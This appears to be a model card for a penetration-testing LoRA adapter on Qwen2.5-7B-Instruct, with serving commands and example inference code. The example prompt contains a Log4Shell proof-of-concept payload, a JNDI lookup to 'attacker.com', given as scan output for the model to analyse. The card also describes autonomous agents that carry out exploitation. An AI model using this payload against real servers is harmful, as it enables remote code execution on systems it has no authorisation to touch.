Built as a LoRA adapter on
Qwen/Qwen2.5-7B-Instruct, fine-tuned on real-world security testing data including tool output interpretation, attack planning, vulnerability classification, and remediation guidance.
1# Start vLLM with LoRA support
2python -m vllm.entrypoints.openai.api_server \
3 --model Qwen/Qwen2.5-7B-Instruct \
4 --enable-lora \
5 --lora-modules vext-pentest-7b=/path/to/adapter \
6 --max-lora-rank 32
1from peft import PeftModel
2from transformers import AutoModelForCausalLM, AutoTokenizer
3
4base = AutoModelForCausalLM.from_pretrained("Qwen/Qwen2.5-7B-Instruct", torch_dtype="auto", device_map="auto")
5model = PeftModel.from_pretrained(base, "VextLabs/vext-pentest-7b")
6tokenizer = AutoTokenizer.from_pretrained("VextLabs/vext-pentest-7b")
7
8messages = [
9 {"role": "system", "content": "You are a security testing agent. Analyze the following tool output and identify vulnerabilities."},
10 {"role": "user", "content": "Nuclei scan results:\n[critical] CVE-2021-44228 Log4Shell detected at /api/login\nPOC: ${jndi:ldap://attacker.com/a}"}
11]
12
13text = tokenizer.apply_chat_template(messages, tokenize=False, add_generation_prompt=True)
14inputs = tokenizer(text, return_tensors="pt").to(model.device)
15output = model.generate(**inputs, max_new_tokens=512)
16print(tokenizer.decode(output[0], skip_special_tokens=True))
Fine-tuned on proprietary security testing data generated by the VEXT platform, including:
Data was collected from authorized testing against intentionally vulnerable applications (OWASP Juice Shop, DVWA, bWAPP, WebGoat, and others) and authorized bug bounty targets.
VEXT Labs is building autonomous security testing agents that combine LLM reasoning with real security tools. Our agents run full penetration tests — from reconnaissance to exploitation to reporting — with human-level decision making.
